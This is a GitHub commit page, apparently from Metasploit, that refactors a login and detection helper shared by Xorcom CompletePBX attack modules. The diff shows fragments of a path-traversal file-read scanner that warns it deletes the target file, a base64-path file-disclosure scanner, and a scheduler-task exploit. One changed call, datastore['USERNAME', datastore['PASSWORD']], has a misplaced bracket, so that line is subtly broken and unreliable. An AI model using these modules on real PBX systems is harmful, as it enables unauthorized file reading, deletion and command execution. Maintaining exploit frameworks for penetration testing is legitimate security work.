Skip to content

Commit 7ddae3e

Browse files
committed
refactor(xorcom): rename helper to completepbx? + pass creds to completepbx_login
1 parent b069038 commit 7ddae3e

File tree

4 files changed

+18
-19
lines changed

4 files changed

+18
-19
lines changed

lib/msf/core/exploit/remote/http/xorcom_completepbx.rb

Lines changed: 12 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ module HTTP
99
module XorcomCompletePBX
1010
# Probe root page and return appropriate CheckCode
1111
# @return [Msf::Exploit::CheckCode]
12-
def is_completepbx
12+
def completepbx?
1313
vprint_status('Checking if the target is running CompletePBX...')
1414
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET')
1515
return Exploit::CheckCode::Unknown('No response from target.') unless res
@@ -25,30 +25,29 @@ def is_completepbx
2525
Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.')
2626
end
2727

28-
# Authenticate with supplied USERNAME/PASSWORD and return session cookie
29-
# @return [String] the "sid=..." cookie value
28+
# Authenticate with supplied credentials and return the session cookie.
29+
#
30+
# @param username [String] CompletePBX username
31+
# @param password [String] CompletePBX password
32+
# @return [String] the "sid=..." cookie value
3033
# @raise [Msf::Exploit::Failure] on authentication failure
31-
def completepbx_login
32-
vprint_status("Attempting authentication with username: #{datastore['USERNAME']}")
34+
#
35+
def completepbx_login(username, password)
36+
vprint_status("Attempting authentication with username: #{username}")
37+
3338
res = send_request_cgi(
3439
'uri' => normalize_uri(target_uri.path, 'login'),
3540
'method' => 'POST',
3641
'ctype' => 'application/x-www-form-urlencoded',
37-
'vars_post' => {
38-
'userid' => datastore['USERNAME'],
39-
'userpass' => datastore['PASSWORD']
40-
}
42+
'vars_post' => { 'userid' => username, 'userpass' => password }
4143
)
4244
unless res&.code == 200
4345
vprint_error('Authentication failed')
4446
fail_with(Failure::NoAccess, 'Authentication failed')
4547
end
4648

4749
sid = res.get_cookies.scan(/sid=[a-f0-9]+/).first
48-
unless sid
49-
vprint_error('No session ID received')
50-
fail_with(Failure::NoAccess, 'No session ID received')
51-
end
50+
fail_with(Failure::NoAccess, 'No session ID received') unless sid
5251

5352
vprint_good("Authentication successful! Session ID: #{sid}")
5453
sid

modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ def initialize(info = {})
5757
end
5858

5959
def check
60-
is_completepbx
60+
completepbx?
6161
end
6262

6363
def run
@@ -77,7 +77,7 @@ def run
7777
print_warning('This exploit WILL delete the target file if permissions allow.')
7878
sleep(2)
7979

80-
sid_cookie = completepbx_login
80+
sid_cookie = completepbx_login(datastore['USERNAME', datastore['PASSWORD']])
8181
target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}"
8282

8383
print_status("Attempting to read file: #{target_file}")

modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,11 +52,11 @@ def initialize(info = {})
5252
end
5353

5454
def check
55-
is_completepbx
55+
completepbx?
5656
end
5757

5858
def run
59-
sid_cookie = completepbx_login
59+
sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
6060
encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE'])
6161

6262
print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})")

modules/exploits/linux/http/xorcom_completepbx_scheduler.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ def initialize(info = {})
6262
end
6363

6464
def check
65-
is_completepbx
65+
completepbx?
6666
end
6767

6868
def get_latest_task_id(sid_cookie, task_desc)
@@ -174,7 +174,7 @@ def delete_task(sid_cookie, task_id)
174174
end
175175

176176
def exploit
177-
sid_cookie = completepbx_login
177+
sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
178178
task_desc = create_task(sid_cookie)
179179
task_id = get_latest_task_id(sid_cookie, task_desc)
180180
run_task(sid_cookie, task_id)

0 commit comments

Comments
 (0)